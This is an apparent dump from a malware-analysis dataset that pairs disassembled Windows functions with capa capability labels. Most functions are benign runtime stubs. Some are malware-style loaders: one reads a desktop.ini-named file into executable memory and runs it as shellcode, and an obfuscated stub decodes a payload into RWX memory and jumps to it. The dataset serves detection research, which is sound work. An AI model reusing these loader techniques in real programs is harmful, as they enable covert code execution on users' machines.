joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401a80
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0xf0
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [esp], eax
call dbg.__wine_dbg_get_channel_flags
movzx eax, al
bt eax, esi
jae 0x401c50
mov eax, dword fs:[0x18]
mov edi, dword [0x405084]
cmp dword [eax + 0x24], edi
je 0x401c42
test byte [0x402074], 8
jne 0x401bf0
lea ebx, [esp + 0x28]
mov edi, ebx
test byte [0x402084], 8
jne 0x401bb0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
mov dword [esp + 4], str._04x:
mov dword [esp], edi
mov dword [esp + 8], eax
call dbg.sprintf
mov edx, dword [ebp + 0x10]
test edx, edx
je 0x401b43
cmp esi, 3
ja 0x401b43
add eax, edi
mov edi, dword [ebp + 0x10]
mov dword [esp + 8], str._s:_s:_s
mov dword [esp], eax
mov dword [esp + 0x14], edi
mov edi, dword [ebp + 0xc]
lea edx, [edi + 1]
mov dword [esp + 0x10], edx
mov edx, dword [esi*4 + 0x4031c4]
mov dword [esp + 0xc], edx
mov edx, ebx
sub edx, eax
add edx, 0xc8
mov dword [esp + 4], edx
call sym._snprintf.constprop.2
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov ecx, ebx
mov edi, eax
mov esi, dword [ecx]
add ecx, 4
lea edx, [esi - 0x1010101]
not esi
and edx, esi
and edx, 0x80808080
je 0x401b54
mov esi, edx
mov dword [esp + 0xc], edi
mov dword [esp + 4], 1
shr esi, 0x10
test edx, 0x8080
mov dword [esp], ebx
cmove edx, esi
lea esi, [ecx + 2]
mov eax, edx
cmove ecx, esi
add al, dl
sbb ecx, 3
sub ecx, ebx
mov dword [esp + 8], ecx
call dword [sym.imp.ucrtbase.dll_fwrite]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], 0x402084
call dbg.__wine_dbg_get_channel_flags
test al, 8
je 0x401ade
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x20]
mov dword [esp], edi
mov dword [esp + 4], str._04x:
mov dword [esp + 8], eax
call dbg.sprintf
add edi, eax
jmp 0x401ade
mov dword [esp], 0x402074
call dbg.__wine_dbg_get_channel_flags
test al, 8
je 0x401acb
call dword [sym.imp.kernel32.dll_GetTickCount]
mov edx, 0x10624dd3
mov ecx, eax
lea ebx, [esp + 0x28]
mul edx
mov dword [esp + 4], str._3u._03u:
mov dword [esp], ebx
shr edx, 6
imul eax, edx, 0x3e8
mov dword [esp + 8], edx
sub ecx, eax
mov dword [esp + 0xc], ecx
call dbg.sprintf
lea edi, [ebx + eax]
jmp 0x401ad1
lea esp, [ebp - 0xc]
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, 0xffffffff
jmp 0x401ba1

Function at 0x401d10
Capabilities:
Accept command line arguments
Get process heap force flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov dword [esp], 1
call sym.__configure_wide_argv
call sym.__initialize_wide_environment
call sym.___p___argc
mov ebx, dword [eax]
call sym.___p___wargv
mov esi, dword [eax]
call sym.__get_initial_wide_environment
mov edi, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov edx, dword [eax + 8]
mov eax, dword [edx + 0x3c]
cmp word [edx + eax + 0x5c], 2
sete dl
movzx edx, dl
add edx, 1
mov dword [esp], edx
call sym.__set_app_type
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call dbg.wmain
mov dword [esp], eax
call sym._exit
Function at 0x401d80
Capabilities:
Accept command line arguments
Encrypt data using rc4 prga

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x68
call dword [sym.imp.kernel32.dll_GetCommandLineW]
mov ebx, eax
movzx eax, word [eax]
test ax, ax
je 0x401e02
cmp ax, 9
je 0x401df0
cmp ax, 0x20
je 0x401df0
xor edi, edi
xor esi, esi
cmp ax, 0x5c
je 0x401e71
cmp ax, 0x22
je 0x401e60
xor esi, esi
add ebx, 2
movzx eax, word [ebx]
test ax, ax
je 0x401e02
cmp ax, 9
sete cl
cmp ax, 0x20
sete dl
or cl, dl
je 0x401db4
test edi, 1
jne 0x401db4
nop
add ebx, 2
movzx eax, word [ebx]
cmp ax, 9
je 0x401df0
cmp ax, 0x20
je 0x401df0
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetStartupInfoW]
sub esp, 4
test byte [ebp - 0x30], 1
jne 0x401e80
mov eax, 1
mov esi, 1
mov word [ebp - 0x2c], ax
mov dword [esp], 0
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call dbg.wWinMain@16
sub esp, 0x10
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
and esi, 1
jne 0x401dc8
xor edi, 1
jmp 0x401dca
add esi, 1
jmp 0x401dca
movzx esi, word [ebp - 0x2c]
jmp 0x401e25
Function at 0x10018ba3
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10018be2
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10018be2
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10018be2
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10018be2
cmp dword [ecx + 0x74], 0xe
jbe 0x10018be2
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x1001b85f
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1001b8fc
push ebx
push esi
call fcn.1001b828
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1001b7bc
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1001b8a9
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001b8fb
push edi
push eax
call fcn.1001c81a
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1001b8c9
call fcn.1001a304
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001b8fa
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1001b7bc
add esp, 0x20
test eax, eax
jne 0x1001b8e8
push edi
call fcn.1001a304
jmp 0x1001b8f0
push ebx
call fcn.1001a304
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x1001bb69
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10023cc8
push 0x10023cc0
push str.FlsAlloc
push 0x1f
call fcn.1001ba85
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001bb9d
push dword [ebp + 8]
mov ecx, esi
call dword [0x10022150]
call esi
jmp 0x1001bba3
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1001bbe7
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10023cd8
push 0x10023cd0
push str.FlsGetValue
push 0x21
call fcn.1001ba85
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001bc1e
push dword [ebp + 8]
mov ecx, esi
call dword [0x10022150]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x1001bc26
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x10023ce0
push 0x10023cd8
push str.FlsSetValue
push 0x22
call fcn.1001ba85
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001bc60
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x10022150]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x100212e0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1002130d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1002130d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x403255
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [ebp + 0xc]
sub eax, dword [0x414094]
add eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp + 8]
and ecx, dword [0x414060]
test ecx, ecx
je 0x403287
mov edx, dword [0x414090]
and edx, dword [ebp + 0xc]
test edx, edx
jne 0x403299
cmp dword [0x41408c], 0
jne 0x403299
mov dword [ebp - 0x2c], 0
jmp 0x4032a0
mov dword [ebp - 0x2c], 1
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
mov ecx, dword [ebp + 0x10]
add ecx, 0x2fa4043e
and ecx, dword [ebp + 8]
and ecx, 0x2a041b18
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], 0x71f0bd2e
mov edx, dword [ebp + 0x10]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x10], ecx
mov edx, dword [ebp - 0x10]
mov eax, dword [edx + 0x78]
mov ecx, dword [edx + 0x7c]
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 8]
add edx, dword [ebp - 8]
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x20]
mov edx, dword [ebp - 0x18]
mov eax, dword [ebp + 8]
add eax, dword [ecx + edx*4]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.0040722a
add esp, 8
test eax, eax
je 0x403311
jmp 0x403353
mov dword [ebp - 0x18], 0
jmp 0x403323
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x18]
cmp ecx, dword [eax + 0x18]
jae 0x40337e
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x20]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp + 8]
add edx, dword [eax + ecx*4]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.0040722a
add esp, 8
test eax, eax
jne 0x403353
jmp 0x40331a
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x24]
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov cx, word [edx + eax*2]
mov dword [ebp - 0x14], ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x1c]
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp + 8]
add edx, dword [eax + ecx*4]
mov eax, edx
jmp 0x403380
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x4e549b
Capabilities:
Encode data using xor

Disassembly:
mov al, byte [edi + eax]
movzx edx, al
mov ebx, edx
mov dword [esp + 0x24], edx
sub ebx, ecx
cmp edi, dword [esp + 0x20]
jl 0x4e5424
or ebx, 0xffffffff
jmp 0x4e543a
mov edx, dword [esp + 0x1c]
cmp al, byte [edi + edx + 1]
jne 0x4e5515
test ebx, ebx
je 0x4e5515
mov eax, ebx
mov ecx, edi
cdq
sub ecx, esi
xor eax, edx
dec ecx
sub eax, edx
mov dword [esp + 0x10], ecx
cmp eax, 1
jne 0x4e54fb
mov eax, dword [esp + 0x18]
cdq
xor eax, edx
sub eax, edx
cmp eax, 1
jg 0x4e54fb
test ecx, ecx
jle 0x4e54fb
lea eax, [ebx + ebp]
mov edx, ebx
mov dword [esp + 0x18], edx
test eax, eax
jne 0x4e54c3
cmp esi, edi
jge 0x4e5509
xor ebp, ebp
nop dword [eax]
mov eax, ebp
cdq
idiv ecx
add eax, 0xff
cdq
xor eax, edx
sub eax, edx
test ebx, ebx
fstp xword [ecx + 0xd]
fstp xword [ecx + 0xd]
mov ecx, 0xff
sub ecx, eax
mov eax, ecx
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
sub ebp, 0x1fe
mov byte [esi + edx], al
inc esi
cmp esi, edi
jl 0x4e548b
mov edx, dword [esp + 0x18]
jmp 0x4e5509
cmp ebp, ebx
jne 0x4e5509
cmp esi, edi
jge 0x4e5509
xor ebp, ebp
mov eax, ebp
cdq
idiv ecx
test ebx, ebx
jns 0x4e54e3
mov ecx, 0xff
sub ecx, eax
mov eax, ecx
mov ecx, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
add ebp, 0xff
mov byte [esi + edx], al
inc esi
cmp esi, edi
jl 0x4e54cd
mov edx, dword [esp + 0x18]
jmp 0x4e5509
xor edx, edx
test ebx, ebx
setg dl
lea edx, [edx*2 - 1]
mov ecx, dword [esp + 0x24]
mov ebp, edx
mov dword [esp + 0x18], ebx
mov esi, edi
mov eax, dword [esp + 0x1c]
inc edi
cmp edi, dword [esp + 0x2c]
jl 0x4e540b
pop ebx
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x18
ret
Function at 0x42dad0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1f000]
push edi
or ebp, 0xffffffff
jmp 0x42daf2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x42daf9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x42dae8
mov eax, 1
add ebx, ebx
jne 0x42db0b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x42db00
jne 0x42db1c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42db00
xor ecx, ecx
sub eax, 3
jb 0x42db30
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x42dba2
mov ebp, eax
add ebx, ebx
jne 0x42db3b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x42db48
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x42db6c
inc ecx
add ebx, ebx
jne 0x42db58
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x42db4d
jne 0x42db69
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42db4d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x42db8c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x42db7d
jmp 0x42daee
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x42db8c
add edi, ecx
jmp 0x42daee
pop esi
mov edi, esi
mov ecx, 0xca0
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x42dbaa
cmp byte [edi], 6
jne 0x42dbaa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x42dbaf
lea edi, [esi + 0x2b000]
mov eax, dword [edi]
or eax, eax
je 0x42dc1e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2fcc4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2fd3c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x42dbdc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2fd40]
or eax, eax
je 0x42dc18
mov dword [ebx], eax
add ebx, 4
jmp 0x42dbf9
call dword [esi + 0x2fd44]
popal
jmp 0x4190e0
Function at 0x402e00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x402e0f
pop dword [ebp - 0x24]
mov eax, 0x176413ae
sub eax, 0x1723e59f
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x66739000
sub dword [ebp - 0x34], 0x18214ab5
mov dword [ebp - 0x30], 0x3b1f5524
add dword [ebp - 0x30], 0xf713f721
mov dword [ebp - 0x2c], 0xd86a316b
add dword [ebp - 0x2c], 0x73e212c3
mov dword [ebp - 0x28], 0xe87b8967
add dword [ebp - 0x28], 0x17847699
lea eax, [ebp - 0x34]
push eax
mov eax, 0x2dc1f2fa
sub eax, 0x2d80b26a
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0xfe680ce4
add dword [ebp - 0x34], 0x760a5c72
mov dword [ebp - 0x30], 0xdb749d5e
sub dword [ebp - 0x30], 0x9a083be9
mov dword [ebp - 0x2c], 0x87166d57
add dword [ebp - 0x2c], 0xdc58ff15
mov dword [ebp - 0x28], 0x99178da9
sub dword [ebp - 0x28], 0x99178da9
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x293de2fb
sub eax, 0x28fca2bf
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x3d45d
push 0
call eax
mov ecx, 0x40a62b81
add ecx, 0xbf5a266f
xor ebx, ebx
add ebx, eax
mov esi, 0x41c000
add esi, dword [ebp - 0x24]
mov edi, 0x64e7f535
add edi, 0x5f6a34d1
xor dword [ebp - 4], 0x544d4805
mov edx, dword [esi]
add edx, edi
add dword [ebp - 8], 0x790f9993
mov dword [ebx], edx
sub dword [ebp - 0x1c], ebx
add ebx, 0x77804f72
add ebx, 0x887fb092
add esi, 0x7da6602e
add esi, 0x82599fd6
loop 0x402f2d
add eax, 0x87814921
sub eax, 0x87800e8e
mov ebx, eax
add eax, 0x81236af0
sub eax, 0x81236aeb
mov ecx, 0x400000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x401e5a
Capabilities:
Terminate process

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
sub esp, 0x20
test byte [0x40701c], 1
mov ebx, dword [ecx + 4]
jne 0x401e77
mov dword [esp], ebx
call dword [sym.imp.kernel32.dll_ExitProcess]
mov dword [esp + 0x10], ebx
mov dword [esp + 0xc], str.__d__semi_stub:_no_script_engine_clean_up_n
mov dword [esp + 8], str.Host_Quit
mov dword [esp + 4], 0x40701c
mov dword [esp], 0
call sym._wine_dbg_log.constprop.16
jmp 0x401e6e
Function at 0x4057d0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov ebx, dword [ebp + 8]
mov dword [esp], ebx
call dword [sym.imp.ucrtbase.dll_strlen]
mov esi, eax
xor eax, eax
test esi, esi
je 0x40582b
cmp byte [ebx + esi - 1], 0xa
je 0x4057ff
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x412084], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], esi
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], ebx
call dword [sym.imp.ucrtbase.dll_fwrite]
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
Function at 0x405ea0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0xf0
mov eax, dword [ebp + 0xc]
mov esi, dword [ebp + 8]
mov dword [esp], eax
call dbg.__wine_dbg_get_channel_flags
movzx eax, al
bt eax, esi
jae 0x406070
mov eax, dword fs:[0x18]
mov edi, dword [global_dest]
cmp dword [eax + 0x24], edi
je 0x406062
test byte [0x4070a8], 8
jne 0x406010
lea ebx, [esp + 0x28]
mov edi, ebx
test byte [0x4070b8], 8
jne 0x405fd0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
mov dword [esp + 4], str._04x:
mov dword [esp], edi
mov dword [esp + 8], eax
call dbg.sprintf
mov edx, dword [ebp + 0x10]
test edx, edx
je 0x405f63
cmp esi, 3
ja 0x405f63
add eax, edi
mov edi, dword [ebp + 0x10]
mov dword [esp + 8], str._s:_s:_s
mov dword [esp], eax
mov dword [esp + 0x14], edi
mov edi, dword [ebp + 0xc]
lea edx, [edi + 1]
mov dword [esp + 0x10], edx
mov edx, dword [esi*4 + 0x40fb50]
mov dword [esp + 0xc], edx
mov edx, ebx
sub edx, eax
add edx, 0xc8
mov dword [esp + 4], edx
call sym._snprintf.constprop.2
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov ecx, ebx
mov edi, eax
mov esi, dword [ecx]
add ecx, 4
lea edx, [esi - 0x1010101]
not esi
and edx, esi
and edx, 0x80808080
je 0x405f74
mov esi, edx
mov dword [esp + 0xc], edi
mov dword [esp + 4], 1
shr esi, 0x10
test edx, 0x8080
mov dword [esp], ebx
cmove edx, esi
lea esi, [ecx + 2]
mov eax, edx
cmove ecx, esi
add al, dl
sbb ecx, 3
sub ecx, ebx
mov dword [esp + 8], ecx
call dword [sym.imp.ucrtbase.dll_fwrite]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp], 0x4070b8
call dbg.__wine_dbg_get_channel_flags
test al, 8
je 0x405efe
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x20]
mov dword [esp], edi
mov dword [esp + 4], str._04x:
mov dword [esp + 8], eax
call dbg.sprintf
add edi, eax
jmp 0x405efe
mov dword [esp], 0x4070a8
call dbg.__wine_dbg_get_channel_flags
test al, 8
je 0x405eeb
call dword [sym.imp.kernel32.dll_GetTickCount]
mov edx, 0x10624dd3
mov ecx, eax
lea ebx, [esp + 0x28]
mul edx
mov dword [esp + 4], str._3u._03u:
mov dword [esp], ebx
shr edx, 6
imul eax, edx, 0x3e8
mov dword [esp + 8], edx
sub ecx, eax
mov dword [esp + 0xc], ecx
call dbg.sprintf
lea edi, [ebx + eax]
jmp 0x405ef1
lea esp, [ebp - 0xc]
xor eax, eax
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, 0xffffffff
jmp 0x405fc1

Function at 0x4060e0
Capabilities:
Accept command line arguments
Get process heap force flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov dword [esp], 1
call sym.__configure_wide_argv
call sym.__initialize_wide_environment
call sym.___p___argc
mov ebx, dword [eax]
call sym.___p___wargv
mov esi, dword [eax]
call sym.__get_initial_wide_environment
mov edi, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov edx, dword [eax + 8]
mov eax, dword [edx + 0x3c]
cmp word [edx + eax + 0x5c], 2
sete dl
movzx edx, dl
add edx, 1
mov dword [esp], edx
call sym.__set_app_type
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call dbg.wmain
mov dword [esp], eax
call sym._exit
Function at 0x406150
Capabilities:
Accept command line arguments
Encrypt data using rc4 prga

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
sub esp, 0x68
call dword [sym.imp.kernel32.dll_GetCommandLineW]
mov ebx, eax
movzx eax, word [eax]
test ax, ax
je 0x4061d2
cmp ax, 9
je 0x4061c0
cmp ax, 0x20
je 0x4061c0
xor edi, edi
xor esi, esi
cmp ax, 0x5c
je 0x406241
cmp ax, 0x22
je 0x406230
xor esi, esi
add ebx, 2
movzx eax, word [ebx]
test ax, ax
je 0x4061d2
cmp ax, 9
sete cl
cmp ax, 0x20
sete dl
or cl, dl
je 0x406184
test edi, 1
jne 0x406184
nop
add ebx, 2
movzx eax, word [ebx]
cmp ax, 9
je 0x4061c0
cmp ax, 0x20
je 0x4061c0
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_GetStartupInfoW]
sub esp, 4
test byte [ebp - 0x30], 1
jne 0x406250
mov eax, 1
mov esi, 1
mov word [ebp - 0x2c], ax
mov dword [esp], 0
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
sub esp, 4
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0
mov dword [esp], eax
call dbg.wWinMain@16
sub esp, 0x10
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
pop ebp
lea esp, [ecx - 4]
ret
and esi, 1
jne 0x406198
xor edi, 1
jmp 0x40619a
add esi, 1
jmp 0x40619a
movzx esi, word [ebp - 0x2c]
jmp 0x4061f5
Function at 0xb3cf65
Capabilities:
Hash data using sha1

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov dword [eax + 8], 0x67452301
mov ecx, dword [ebp + 8]
mov dword [ecx + 0xc], 0xefcdab89
mov edx, dword [ebp + 8]
mov dword [edx + 0x10], 0x98badcfe
mov eax, dword [ebp + 8]
mov dword [eax + 0x14], 0x10325476
mov ecx, dword [ebp + 8]
mov dword [ecx + 0x18], 0xc3d2e1f0
mov edx, dword [ebp + 8]
mov dword [edx + 0x1c], 0
mov eax, dword [ebp + 8]
mov dword [eax], 0
mov dword [eax + 4], 0
xor eax, eax
pop ebp
ret